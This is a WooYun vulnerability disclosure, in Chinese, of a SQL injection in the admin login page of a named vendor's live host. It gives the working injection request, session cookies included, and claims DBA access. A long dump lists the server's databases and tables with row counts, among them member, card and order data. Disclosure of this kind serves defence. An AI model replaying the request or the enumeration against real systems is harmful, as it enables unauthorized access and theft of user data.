当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0167477

漏洞标题:欧虎中国某核心系统高危SQL注入漏洞DBA权限

相关厂商:17oh.com

漏洞作者: 岛云首席鉴黄师

提交时间:2016-01-05 18:32

修复时间:2016-01-10 18:34

公开时间:2016-01-10 18:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-05: 细节已通知厂商并且等待厂商处理中
2016-01-10: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

这数据量……吓死宝宝了,欧虎中国大部分客户是政府,所以你懂得……

详细说明:

http://133836.ohocn.com
POST注入:

POST /ladmin/login.php HTTP/1.1
Host: 133836.ohocn.com
Content-Length: 55
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://133836.ohocn.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded
Referer: http://133836.ohocn.com/ladmin/login.php
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: 4e99e0_MAD_UNIQUE_ID=1ac5af8684ac69f2cf4ca541a4c8155f; 4e99e0_MAD_UNIQUE133836=9476c4da83a0e783e731785c8418e3e6; 4e99e0_lastvisit=317%091451971635%09http%3A%2F%2F133836.ohocn.com%2Fladmin%2Fheader%2Foid_header.php%3Fmod%3Dsort2%26act%3Dprofile; PHPSESSID=ksbajhk6cp6592if331b307423; 4e99e0_cookiemodmenu_=1
ohouser=%27&ohopassword=%27&x=53&y=12&pre_url=&op=login


用户:

user.png


DBA:

dba.png


密码:

pass.png


列库:

dbs.png


接下来放大招了……这数据量……求审核给个首页……
<code>back-end DBMS: MySQL 5
Database: countdb
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| is_keyword | 942265 |
| is_daycount | 617194 |
| is_country | 380652 |
| is_day_ip | 332733 |
| is_country_copy | 269629 |
| is_week | 134529 |
| is_mth_days | 81809 |
| is_ref_site | 70196 |
| is_hour | 64949 |
| is_today_hour | 64949 |
| is_page_list | 40573 |
| is_mth | 39273 |
| is_browser | 29337 |
| is_ip_dist | 25302 |
| is_os | 23742 |
| is_week_days | 18473 |
| is_screen | 15828 |
| is_color | 13335 |
| is_last_visitor | 10580 |
| is_engine | 5538 |
| is_dist | 2670 |
| is_count | 2668 |
| is_admin | 2494 |
| is_page | 41 |
| is_session | 26 |
| is_ip | 22 |
| is_referer | 10 |
| is_hostname | 8 |
| is_day_ref | 2 |
| is_oho | 1 |
+---------------------------------------+---------+
Database: shopex
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| sdb_regions | 3722 |
| sdb_seo | 591 |
| sdb_widgets_set | 191 |
| sdb_goods_spec_index | 130 |
| sdb_op_sessions | 116 |
| sdb_tag_rel | 76 |
| sdb_spec_values | 75 |
| sdb_goods_memo | 74 |
| sdb_goods_cat | 68 |
| sdb_template_relation | 50 |
| sdb_products | 49 |
| sdb_plugins | 44 |
| sdb_gimages | 42 |
| sdb_sitemaps | 38 |
| sdb_goods | 37 |
| sdb_pub_files | 37 |
| sdb_goods_keywords | 36 |
| sdb_dly_corp | 21 |
| sdb_tpl_source | 20 |
| sdb_status | 18 |
| sdb_magicvars | 17 |
| sdb_member_attr | 14 |
| sdb_settings | 13 |
| sdb_order_log | 12 |
| sdb_print_tmpl | 12 |
| sdb_type_brand | 12 |
| sdb_brand | 11 |
| sdb_dly_h_area | 11 |
| sdb_pmt_member_lv | 10 |
| sdb_order_items | 9 |
| sdb_tags | 9 |
| sdb_dly_type | 7 |
| sdb_payment_cfg | 7 |
| sdb_specification | 6 |
| sdb_lnk_acts | 5 |
| sdb_members | 5 |
| sdb_admin_roles | 4 |
| sdb_goods_type | 4 |
| sdb_goods_type_spec | 4 |
| sdb_orders | 4 |
| sdb_promotion | 4 |
| sdb_themes | 4 |
| sdb_triggers | 4 |
| sdb_coupons | 3 |
| sdb_link | 3 |
| sdb_member_addrs | 3 |
| sdb_member_lv | 3 |
| sdb_delivery_item | 2 |
| sdb_gift | 2 |
| sdb_gift_cat | 2 |
| sdb_member_mattrvalue | 2 |
| sdb_operators | 2 |
| sdb_sell_logs | 2 |
| sdb_cachemgr | 1 |
| sdb_currency | 1 |
| sdb_delivery | 1 |
| sdb_dly_center | 1 |
| sdb_payments | 1 |
| sdb_promotion_activity | 1 |
+---------------------------------------+---------+
Database: helper
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| oho_t_uploadpics | 182 |
| oho_list | 169 |
| oho_party_join | 120 |
| oho_members | 74 |
| oho_sign_join | 14 |
+---------------------------------------+---------+
Database: huigu
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| oho_siterestores | 111148 |
| oho_member_log | 63061 |
| oho_highschool | 49292 |
| oho_member_email | 36260 |
| oho_jwj_php | 33917 |
| oho_member_like | 30781 |
| oho_university | 7733 |
| oho_sitethemes_color | 4279 |
| oho_sitethemes_fcontent | 4279 |
| oho_sitethemes_page | 4279 |
| oho_t_address | 3202 |
| oho_school_address | 2937 |
| oho_bind_user | 2919 |
| oho_sites_theme | 2473 |
| oho_sites_catid | 1954 |
| oho_sites_image | 1637 |
| oho_web_log | 1311 |
| oho_t_uploadpics | 898 |
| oho_order_action | 637 |
| oho_borderlist | 581 |
| oho_sites_con | 472 |
| oho_titlelist | 459 |
| oho_saveset | 451 |
| oho_order | 363 |
| oho_order_goods | 363 |
| oho_sites_page | 280 |
| oho_user | 217 |
| oho_tea_storage | 205 |
| oho_memberdata | 198 |
| oho_members | 198 |
| oho_jwj_database | 188 |
| oho_t_theme | 182 |
| oho_user_account_log | 159 |
| oho_sites_cat | 146 |
| oho_sms_log | 142 |
| oho_order_pay | 141 |
| oho_landlord_teagarden | 135 |
| oho_sitethemes | 119 |
| oho_savepage | 114 |
| oho_tmp | 105 |
| oho_menulist | 87 |
| oho_colonys_note | 79 |
| oho_threads_note_con | 79 |
| oho_threads_note_title | 79 |
| oho_party_package_action | 78 |
| oho_sites_menu | 78 |
| oho_credits_log | 72 |
| oho_user_account | 66 |
| oho_mobile_code | 65 |
| oho_party_package | 63 |
| oho_sitethemes_m | 63 |
| oho_group_notify | 59 |
| oho_members_global | 53 |
| oho_party_package_log | 49 |
| oho_custom_cat | 47 |
| oho_usergroups_permission | 42 |
| oho_shop_order_info | 40 |
| oho_shop_order | 38 |
| oho_usergroups_link | 34 |
| oho_sites_selcon | 31 |
| oho_shop_goods_ext_info | 30 |
| oho_dly_h_area | 29 |
| oho_shop_user_address | 27 |
| oho_sso_user | 27 |
| oho_config | 22 |
| oho_sites_userpage | 21 |
| oho_landlord | 20 |
| oho_membercredit | 20 |
| oho_party | 20 |
| oho_shop_cart | 20 |
| oho_sites_roll | 19 |
| oho_usergroups | 19 |
| oho_fk | 18 |
| oho_party_fav | 17 |
| oho_phone_list | 15 |
| oho_t_class | 15 |
| oho_mad_cat | 14 |
| oho_package | 14 |
| oho_sort_admin | 14 |
| oho_mad_task | 13 |
| oho_shop_goods_galary | 13 |
| oho_t_table | 12 |
| oho_t_uploadvod | 12 |
| oho_credits | 10 |
| oho_sites_dibu | 10 |
| oho_t_catid | 10 |
| oho_ismember_weibo | 9 |
| oho_mad_config | 9 |
| oho_teagarden_fav | 9 |
| oho_app_ad | 8 |
| oho_shop_goods | 7 |
| oho_shop_keywords | 7 |
| oho_usergroups_action | 7 |
| oho_dly_type | 6 |
| oho_landlord_logo | 6 |
| oho_shop_collect_goods | 6 |
| oho_sites_extramod | 6 |
| oho_landlord_show | 5 |
| oho_meeting_type | 5 |
| oho_shipping | 5 |
| oho_shop_cat | 5 |
| oho_tea | 5 |
| oho_tea_fav | 5 |
| oho_group_link | 4 |
| oho_shop_goods_attribute | 4 |
| oho_sites_pri | 4 |
| oho_teagarden | 4 |
| oho_app_ad_party | 3 |
| oho_meeting_installation | 3 |
| oho_myfriends | 3 |
| oho_saveblock | 3 |
| oho_shipping_area | 3 |
| oho_shop_goods_type | 3 |
| oho_friends | 2 |
| oho_mad_theme | 2 |
| oho_party_members | 2 |
| oho_payment | 2 |
| oho_s_groups_users_link | 2 |
| oho_shop_goods_attr | 2 |
| oho_sina_user | 2 |
| oho_sms_cat | 2 |
| oho_sms_user | 2 |
| oho_sms_words | 2 |
| oho_t_catid_user | 2 |
| oho_tags | 2 |
| oho_menu_dock | 1 |
| oho_s_groups_style | 1 |
| oho_shop_pack | 1 |
| oho_sites | 1 |
| oho_sitethemes_q | 1 |
| oho_sms_words_cat | 1 |
| oho_smss | 1 |
| oho_wx_app_account | 1 |
| oho_wx_sites | 1 |
+---------------------------------------+---------+
Database: ohogovold_report
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| oho_card_item_report | 2163 |
| oho_card_jifen_report | 878 |
| oho_card_tuijian_report | 485 |
| oho_info_shangj_day_report | 425 |
| oho_info_down_day_report | 253 |
| oho_info_shangj_week_report | 231 |
| oho_info_down_week_report | 159 |
| oho_info_shangj_month_report | 137 |
| oho_info_down_month_report | 123 |
| oho_info_down_report | 118 |
| oho_info_shangj_report | 66 |
| oho_info_ask_day_report | 44 |
| oho_info_ask_week_report | 35 |
| oho_info_ask_month_report | 32 |
| oho_info_ask_report | 23 |
| oho_info_game_day_report | 15 |
| oho_card_chg_report | 11 |
| oho_info_game_week_report | 9 |
| oho_info_game_month_report | 5 |
| oho_info_product_day_report | 4 |
| oho_card_deposit_report | 2 |
| oho_info_game_report | 2 |
| oho_info_product_month_report | 2 |
| oho_info_product_report | 2 |
| oho_info_product_week_report | 2 |
| oho_saas_report | 1 |
+---------------------------------------+---------+
Database: lpdb
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| plugin | 3 |
| todo | 3 |
| todo_history | 3 |
| feed | 2 |
| keyvalue | 2 |
| todo_user | 2 |
| `user` | 1 |
| board | 1 |
| online | 1 |
+---------------------------------------+---------+
Database: cy
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| ssf_admingroups | 1 |
| ssf_admins | 1 |
| ssf_user_info | 1 |
+---------------------------------------+---------+
Database: ptgs
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| oho_jwj_php | 33917 |
| oho_member_email | 26903 |
| oho_member_like | 25132 |
| oho_t_class | 22721 |
| oho_log | 20083 |
| oho_group_members | 10258 |
| oho_sites_userpage | 10164 |
| oho_mad_config | 8662 |
| oho_university | 7733 |
| oho_sitethemes_color | 4049 |
| oho_sitethemes_fcontent | 4049 |
| oho_sitethemes_page | 4049 |
| oho_tags | 3384 |
| oho_t_address | 2548 |
| oho_sites_theme | 2422 |
| oho_members_global | 2315 |
| oho_t_link | 2265 |
| oho_sites_catid | 1962 |
| oho_pt_user_log | 1819 |
| oho_sites_image | 1636 |
| oho_saveblock | 1631 |
| oho_threads_photo | 1596 |
| oho_mad_visits | 1473 |
| oho_t_ad | 1419 |
| oho_web_log | 1149 |
| oho_s_groups_style | 744 |
| oho_sites_con | 681 |
| oho_t_vote_con | 666 |
| oho_sms_log | 645 |
| oho_borderlist | 581 |
| oho_borderlist_copy | 573 |
| oho_titlelist | 459 |
| oho_saveset | 450 |
| oho_titlelist_copy | 448 |
| oho_sites_page | 427 |
| oho_memberdata | 420 |
| oho_members | 417 |
| oho_weibo_op_log | 378 |
| oho_savemod | 350 |
| oho_custom_cid | 338 |
| oho_weibo | 318 |
| oho_t_message_board | 313 |
| oho_map_data | 281 |
| oho_mobile_code | 264 |
| oho_t_zhuanti | 234 |
| oho_bind_user | 220 |
| oho_sites_cat | 209 |
| oho_jwj_database | 188 |
| oho_t_theme | 182 |
| oho_t_vote | 174 |
| oho_msg | 161 |
| oho_t_vote_member | 160 |
| oho_sites_set | 147 |
| oho_savepage | 112 |
| oho_savetitle | 111 |
| oho_forumcat | 105 |
| oho_tmp | 105 |
| oho_t_uploadpics | 99 |
| oho_mad_comment | 96 |
| oho_payment | 95 |
| oho_savemodsys | 88 |
| oho_menulist | 87 |
| oho_friends | 78 |
| oho_group | 78 |
| oho_sites_menu | 78 |
| oho_savemult | 74 |
| oho_credits_log | 72 |
| oho_sitethemes | 71 |
| oho_msg_log | 65 |
| oho_group_notify | 59 |
| oho_notice | 57 |
| oho_mad_usergroup | 51 |
| oho_msg_list | 47 |
| oho_t_department | 45 |
| oho_cmembers | 36 |
| oho_sites_selcon | 31 |
| oho_pt_fk | 27 |
| oho_page_private | 26 |
| oho_t_leader | 22 |
| oho_check_code | 20 |
| oho_faq_cat | 20 |
| oho_sites_roll | 20 |
| oho_mad_cat | 13 |
| oho_mad_task | 13 |
| oho_threads_faq | 13 |
| oho_t_sysclass | 12 |
| oho_credits | 10 |
| oho_sites_dibu | 10 |
| oho_ismember_weibo | 9 |
| oho_project_pt | 7 |
| oho_shop_report | 7 |
| oho_project_hx | 6 |
| oho_shop | 6 |
| oho_t_club | 6 |
| oho_qq_user | 5 |
| oho_sites_extramod | 5 |
| oho_threads_picpoint | 5 |
| oho_group_link | 4 |
| oho_sites_pri | 4 |
| oho_sweet_area | 4 |
| oho_user | 4 |
| oho_renren_user | 3 |
| oho_t_bscat | 3 |
| oho_cityshop | 2 |
| oho_mad_theme | 2 |
| oho_shop_sms | 2 |
| oho_sina_user | 2 |
| oho_tencent_user | 2 |
| oho_weibo_report | 2 |
| oho_douban_user | 1 |
| oho_project | 1 |
| oho_sites | 1 |
| oho_sitethemes_cat | 1 |
| oho_smss | 1 |
| oho_usergroups_link | 1 |
| oho_watermark_set | 1 |
+---------------------------------------+---------+
Database: mysql
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| help_relation | 1027 |
| help_topic | 508 |
| help_keyword | 464 |
| help_category | 38 |
| `user` | 10 |
| db | 2 |
| proxies_priv | 2 |
| udf_temp | 1 |
+---------------------------------------+---------+
Database: ultrax
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| pre_common_district | 45051 |
| pre_common_setting | 383 |
| pre_forum_statlog | 139 |
| pre_common_block_style | 103 |
| pre_common_syscache | 96 |
| pre_common_smiley | 85 |
| pre_common_admincp_perm | 67 |
| pre_common_member_profile_setting | 51 |
| pre_common_nav | 47 |
| pre_common_stylevar | 45 |
| pre_forum_forumfield | 35 |
| pre_forum_forum | 34 |
| pre_common_credit_rule | 31 |
| pre_ucenter_settings | 26 |
| pre_common_usergroup | 20 |
| pre_common_usergroup_field | 20 |
| pre_common_cron | 18 |
| pre_home_click | 15 |
| pre_forum_medal | 10 |
| pre_common_credit_rule_log | 8 |
| pre_common_plugin | 8 |
| pre_common_admingroup | 7 |
| pre_common_member | 7 |
| pre_common_member_count | 7 |
| pre_common_member_field_forum | 7 |
| pre_common_member_field_home | 7 |
| pre_common_member_profile | 7 |
| pre_common_member_status | 7 |
| pre_common_statuser | 7 |
| pre_ucenter_memberfields | 7 |
| pre_ucenter_members | 7 |
| pre_forum_typeoption | 6 |
| pre_common_admincp_group | 5 |
| pre_common_friendlink | 5 |
| pre_common_onlinetime | 5 |
| pre_home_notification | 5 |
| pre_forum_bbcode | 4 |
| pre_forum_onlinelist | 4 |
| pre_forum_grouplevel | 3 |
| pre_forum_imagetype | 3 |
| pre_common_block | 2 |
| pre_common_stat | 2 |
| pre_common_template_block | 2 |
| pre_common_word_type | 2 |
| pre_mobile_setting | 2 |
| pre_ucenter_applications | 2 |
| pre_ucenter_notelist | 2 |
| pre_common_admincp_session | 1 |
| pre_common_diy_data | 1 |
| pre_common_failedlogin | 1 |
| pre_common_style | 1 |
| pre_common_template | 1 |
| pre_ucenter_admins | 1 |
+---------------------------------------+---------+
Database: huigu_wx_q
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| oho_siterestores | 9396 |
| oho_wx_user | 1043 |
| oho_wx_user_list | 357 |
| oho_sitethemes_color | 197 |
| oho_sitethemes_fcontent | 197 |
| oho_sitethemes_page | 197 |
| oho_wx_ccard_member | 72 |
| oho_sites_userpage | 28 |
| oho_t_class | 12 |
| oho_myh_member | 9 |
| oho_wx_menu | 9 |
| oho_wx_message | 8 |
| oho_wx_groups | 6 |
| oho_wx_call | 2 |
| oho_wx_account | 1 |
| oho_wx_batch_msg | 1 |
| oho_wx_ccard_p | 1 |
| oho_wx_ccard_set | 1 |
| oho_wx_dl_account | 1 |
| oho_wx_msg | 1 |
| oho_wx_party | 1 |
| oho_wx_party_choujiang | 1 |
| oho_wx_sites | 1 |
+---------------------------------------+---------+
Database: market
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| oho_web_log | 1003757 |
| oho_threads_note_title | 167426 |
| oho_colonys_note | 167413 |
| oho_threads_note_con | 166998 |
| oho_t_uploadpics | 157532 |
| oho_siterestores | 95287 |
| oho_highschool | 49292 |
| oho_custom_cat | 37111 |
| oho_user_account_log | 35682 |
| oho_jwj_php | 33917 |
| oho_sort_pic | 32194 |
| oho_sort_link_tag | 30712 |
| oho_notice | 29397 |
| oho_mad_cat | 29037 |
| oho_mad_photo_list | 27851 |
| oho_t_class | 22291 |
| oho_log | 18561 |
| oho_s_group_permission | 10756 |
| oho_sites_userpage | 10586 |
| oho_group_members | 9821 |
| oho_sort_promo_catch | 9510 |
| oho_mad_config | 8198 |
| oho_university | 7733 |
| oho_sort_tag | 7270 |
| oho_friends | 6125 |
| oho_t_table | 5192 |
| oho_sort_promo_update | 4496 |
| oho_sitethemes_color | 3834 |
| oho_sitethemes_fcontent | 3834 |
| oho_sitethemes_page | 3834 |
| oho_adfiles | 3779 |
| oho_mad_photo | 3624 |
| oho_tags | 3253 |
| oho_t_catid_user | 2971 |
| oho_school_address | 2937 |
| oho_t_address | 2548 |
| oho_sites_theme | 2414 |
| oho_members_global | 2352 |
| oho_user | 2292 |
| oho_t_link | 2254 |
| oho_sites_catid | 1962 |
| oho_user_account | 1877 |
| oho_sites_image | 1636 |
| oho_saveblock | 1630 |
| oho_t_uploadfiles | 1600 |
| oho_threads_photo | 1593 |
| oho_s_groups_users_link | 1490 |
| oho_mad_comment | 1394 |
| oho_t_ad | 1385 |
| oho_mad_visits | 1378 |
| oho_colonys_photo | 1321 |
| oho_t_uploadcomics | 1129 |
| oho_mad_files | 873 |
| oho_s_groups_style | 737 |
| oho_sites_con | 676 |
| oho_t_vote_con | 665 |
| oho_sort_client | 660 |
| oho_order_goods | 659 |
| oho_bind_user | 628 |
| oho_borderlist | 581 |
| oho_borderlist_copy | 573 |
| oho_order | 573 |
| oho_sort_sms_log | 572 |
| oho_titlelist | 459 |
| oho_saveset | 450 |
| oho_titlelist_copy | 448 |
| oho_saveset_bbbbb | 427 |
| oho_sites_page | 424 |
| oho_s_groups | 406 |
| oho_sort_fav | 369 |
| oho_savemod | 350 |
| oho_custom_cid | 337 |
| oho_t_catid_user_copy | 320 |
| oho_sort_group_order | 315 |
| oho_sort_has | 314 |
| oho_sort_want | 313 |
| oho_t_message_board | 313 |
| oho_kf_company | 310 |
| oho_map_data | 281 |
| oho_kf_user | 265 |
| oho_kf_department | 260 |
| oho_sort_m_company | 253 |
| oho_mad_paste_list | 248 |
| oho_sort_group | 241 |
| oho_t_zhuanti | 234 |
| oho_mad_paste | 229 |
| oho_dg_qy | 215 |
| oho_sites_cat | 202 |
| oho_jwj_database | 188 |
| oho_t_theme | 182 |
| oho_t_vote | 173 |
| oho_sort_search | 165 |
| oho_twitter | 163 |
| oho_msg | 161 |
| oho_t_vote_member | 160 |
| oho_sort_group_voucher | 158 |
| oho_menu_dock | 148 |
| oho_mad_files_list | 147 |
| oho_sites_set | 147 |
| oho_t_uploadvod | 147 |
| oho_dg_pp_qy | 142 |
| oho_t_table_copy | 127 |
| oho_savepage | 112 |
| oho_savetitle | 111 |
| oho_forumcat | 105 |
| oho_tmp | 105 |
| oho_s_group_permission_cat | 99 |
| oho_t_ohohelp | 98 |
| oho_payment | 89 |
| oho_savemodsys | 88 |
| oho_menulist | 87 |
| oho_sort_card_mobile | 85 |
| oho_dg_pp | 79 |
| oho_sites | 78 |
| oho_sites_menu | 78 |
| oho_group | 76 |
| oho_savemult | 74 |
| oho_credits_log | 72 |
| oho_sort_company | 72 |
| oho_sitethemes | 71 |
| oho_sort_client_jk | 67 |
| oho_msg_log | 65 |
| oho_group_notify | 59 |
| oho_colonys_bs | 56 |
| oho_colonys_interview_user | 52 |
| oho_sort_group_require | 52 |
| oho_msg_list | 47 |
| oho_t_department | 45 |
| oho_sort_info_detail | 44 |
| oho_sort_info_list | 44 |
| oho_sort_shop_main | 44 |
| oho_sort_zb | 43 |
| oho_shipping | 41 |
| oho_sort_sweet_send | 38 |
| oho_usergroups_permission | 38 |
| oho_cmembers | 36 |
| oho_sort_card | 36 |
| oho_sort_group_require_log | 34 |
| oho_memberdata | 33 |
| oho_members | 33 |
| oho_sort_theme | 33 |
| oho_member_email | 32 |
| oho_t_uploadmusics | 32 |
| oho_kf_message | 31 |
| oho_mad_usergroup | 31 |
| oho_sites_selcon | 31 |
| oho_sort_client_update | 31 |
| oho_page_private | 26 |
| oho_shipping_area | 26 |
| oho_sort_shop | 26 |
| oho_threads_faq | 25 |
| oho_colonys_interview | 24 |
| oho_sort_admin | 22 |
| oho_sort_zb_set | 22 |
| oho_t_leader | 22 |
| oho_sites_roll | 21 |
| oho_dg_set | 20 |
| oho_membercredit | 20 |
| oho_sort_pz_set | 20 |
| oho_sort_sweet | 19 |
| oho_dg_cat | 18 |
| oho_usergroups | 18 |
| oho_check_code | 17 |
| oho_order_card | 17 |
| oho_faq_cat | 16 |
| oho_usergroups_link | 15 |
| oho_dg_lc | 13 |
| oho_sort_info_field | 13 |
| oho_t_sysclass | 12 |
| oho_sort_zhekou_fav | 11 |
| oho_credits | 10 |
| oho_sites_dibu | 10 |
| oho_t_catid | 10 |
| oho_ismember_weibo | 9 |
| oho_sort_notice | 8 |
| oho_usergroups_action | 7 |
| oho_member_like | 6 |
| oho_sort_dl | 6 |
| oho_sort_pz_xk | 6 |
| oho_t_club | 6 |
| oho_sites_extramod | 5 |
| oho_sort_pz_tz | 5 |
| oho_threads_picpoint | 5 |
| oho_group_link | 4 |
| oho_sites_pri | 4 |
| oho_sweet_area | 4 |
| oho_email_require | 3 |
| oho_myfriends | 3 |
| oho_sort_error | 3 |
| oho_sort_mod | 3 |
| oho_t_bscat | 3 |
| oho_mad_theme | 2 |
| oho_sina_user | 2 |
| oho_sort_zhekou | 2 |
| oho_douban_user | 1 |
| oho_sitethemes_cat | 1 |
| oho_smss | 1 |
| oho_sort_sweet_classify | 1 |
+---------------------------------------+---------+
Database: huigu_wx_m
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| oho_siterestores | 36105 |
| oho_sitethemes_color | 767 |
| oho_sitethemes_fcontent | 767 |
| oho_sitethemes_page | 767 |
| oho_sites_userpage | 31 |
| oho_t_class | 12 |
| oho_wx_sites | 1 |
+---------------------------------------+---------+
Database: jdlm_report
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| oho_card_item_report | 4046 |
+---------------------------------------+---------+
Database: member
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| oho_borderlist | 587 |
| oho_saveset | 454 |
| oho_syslog | 111 |
| oho_savemult | 74 |
| oho_t_uploadpics | 65 |
| oho_email_send | 44 |
| oho_sites_userpage | 35 |
| oho_sites_con | 29 |
| oho_memberdata | 18 |
| oho_members | 18 |
| oho_t_class | 15 |
| oho_card | 14 |
| oho_consumption | 13 |
| oho_isadlist | 13 |
| oho_t_uploadvod | 13 |
| oho_t_sysclass | 12 |
| oho_zd_request | 12 |
| oho_phone | 11 |
| oho_email | 7 |
| oho_sms_cat | 7 |
| oho_sysset | 7 |
| oho_zd | 7 |
| oho_mbupdate | 6 |
| oho_sites_roll | 5 |
| oho_cat | 3 |
| oho_siterestores | 3 |
| oho_smtp | 3 |
| oho_t_uploadcomics | 3 |
| oho_sms_con | 2 |
| oho_card_tj_day | 1 |
| oho_notify | 1 |
| oho_sites_page | 1 |
| oho_t_uploadmusics | 1 |
+---------------------------------------+---------+
Database: ohogovold_card
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| oho_card | 37680 |
| oho_card_money_report | 15532 |
| oho_card_deposit_log | 15312 |
| oho_card_jifen_report | 15293 |
| oho_card_fen | 15270 |
| oho_card_consume_report | 162 |
| oho_card_0_133728 | 123 |
| oho_card_config | 63 |
| oho_card_cc | 62 |
| oho_card_type_set | 58 |
| oho_card_chongci_report_list | 55 |
| oho_card_consume_report_list | 54 |
| oho_card_chongci_report | 51 |
| oho_storage_fen | 32 |
| oho_card_type | 26 |
| oho_storage | 23 |
| oho_storage_log_list | 21 |
| oho_storage_cat | 19 |
| oho_storage_log | 18 |
| oho_jifen_cat | 13 |
| oho_card_1_133728 | 11 |
| oho_card_party | 8 |
| oho_card_party_fen | 6 |
| oho_card_action | 5 |
| oho_card_field | 4 |
| oho_card_tixian_log | 4 |
| oho_jifen_duihuan_report | 3 |
| oho_jifen_duihuan_report_list | 3 |
| oho_jifen_storage | 3 |
| oho_storage_project | 3 |
| oho_storage_rules | 3 |
| oho_card_chongshi_report | 1 |
+---------------------------------------+---------+
Database: information_schema
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| COLUMNS | 26308 |
| STATISTICS | 7074 |
| KEY_COLUMN_USAGE | 3374 |
| PARTITIONS | 2436 |
| TABLES | 2436 |
| TABLE_CONSTRAINTS | 2327 |
| SESSION_VARIABLES | 267 |
| GLOBAL_STATUS | 265 |
| SESSION_STATUS | 265 |
| GLOBAL_VARIABLES | 256 |
| USER_PRIVILEGES | 201 |
| COLLATION_CHARACTER_SET_APPLICABILITY | 197 |
| COLLATIONS | 197 |
| CHARACTER_SETS | 39 |
| SCHEMA_PRIVILEGES | 32 |
| SCHEMATA | 32 |
| PLUGINS | 16 |
| PROCESSLIST | 7 |
| ENGINES | 6 |
+---------------------------------------+---------+
Database: oho_flight
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| oho_airliner | 335 |
| oho_airline | 307 |
| oho_airport | 204 |
| oho_city | 201 |
+---------------------------------------+---------+
Database: ohogovold
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| oho_sort_company_hits | 36576416 |
| oho_web_log | 1290771 |
| oho_card | 250257 |
| oho_t_uploadpics | 209434 |
| oho_sort_bonus_company | 183080 |
| oho_threads_note_title | 182829 |
| oho_colonys_note | 182816 |
| oho_threads_note_con | 182401 |
| oho_link_group | 135237 |
| oho_t_table | 125690 |
| oho_siterestores | 115153 |
| oho_mad_cat | 104088 |
| oho_user | 92836 |
| oho_mad_task | 76978 |
| oho_members_global | 67061 |
| oho_member_log | 63061 |
| oho_1912_qiandao | 56291 |
| oho_highschool | 49292 |
| oho_bbs_topic_reply | 43593 |
| oho_memberdata | 42360 |
| oho_member_email | 42355 |
| oho_members | 42301 |
| oho_custom_cat | 41782 |
| oho_user_account_log | 40300 |
| oho_member_like | 35056 |
| oho_jwj_php | 33917 |
| oho_mad_config | 33049 |
| oho_sort_pic | 32752 |
| oho_notice | 31002 |
| oho_sort_link_tag | 30964 |
| oho_mad_photo_list | 29421 |
| oho_t_class | 24810 |
| oho_log | 20638 |
| oho_bbs_topic | 19907 |
| oho_sort_company_cat | 14183 |
| oho_s_group_permission | 14112 |
| oho_sites | 13911 |
| oho_sort_company | 13495 |
| oho_sort_company_ext | 12423 |
| oho_friends | 12364 |
| oho_sort_company_fen | 12092 |
| oho_sort_promo_catch | 11646 |
| oho_sites_userpage | 11360 |
| oho_valenmoon_email | 11251 |
| oho_1912_member | 10552 |
| oho_group_members | 10336 |
| oho_sms_log | 10322 |
| oho_1912_wxtivity_log | 9826 |
| oho_weibo_hits | 8422 |
| oho_weibo | 8279 |
| oho_weibo_shop_cat | 7885 |
| oho_university | 7733 |
| oho_ask_question | 7699 |
| oho_ask_answers | 7624 |
| oho_sort_tag | 7512 |
| oho_sort_bonus_code | 7045 |
| oho_weibo_shop_city | 7021 |
| oho_link_rank | 5772 |
| oho_sort_comment | 5664 |
| oho_user_account | 5360 |
| oho_link_url | 4799 |
| oho_shop_goods | 4687 |
| oho_sort_promo_update | 4499 |
| oho_sitethemes_color | 4401 |
| oho_sitethemes_fcontent | 4401 |
| oho_sitethemes_page | 4401 |
| oho_1912_order | 4081 |
| oho_weibo_love | 4053 |
| oho_1912_redpackets | 3824 |
| oho_hotel_order | 3806 |
| oho_order | 3773 |
| oho_mad_photo | 3699 |
| oho_tags | 3679 |
| oho_shop_goods_galary | 3669 |
| oho_order_goods | 3598 |
| oho_shop_comment | 3413 |
| oho_shop_goods_ext_info | 3225 |
| oho_t_address | 3202 |
| oho_t_catid_user | 3200 |
| oho_bind_user | 3069 |
| oho_school_address | 2937 |
| oho_food_store_menu | 2801 |
| oho_card_user | 2678 |
| oho_sites_theme | 2477 |
| oho_billing_cashier | 2284 |
| oho_t_link | 2277 |
| oho_shop_cat | 2162 |
| oho_sort_bonus_ext | 2154 |
| oho_sort_company_comment | 2103 |
| oho_1912_pay_log | 1988 |
| oho_sites_catid | 1954 |
| oho_members_online | 1918 |
| oho_weibo_ext | 1826 |
| oho_s_groups_users_link | 1777 |
| oho_t_ad | 1729 |
| oho_threads_photo | 1724 |
| oho_mad_visits | 1664 |
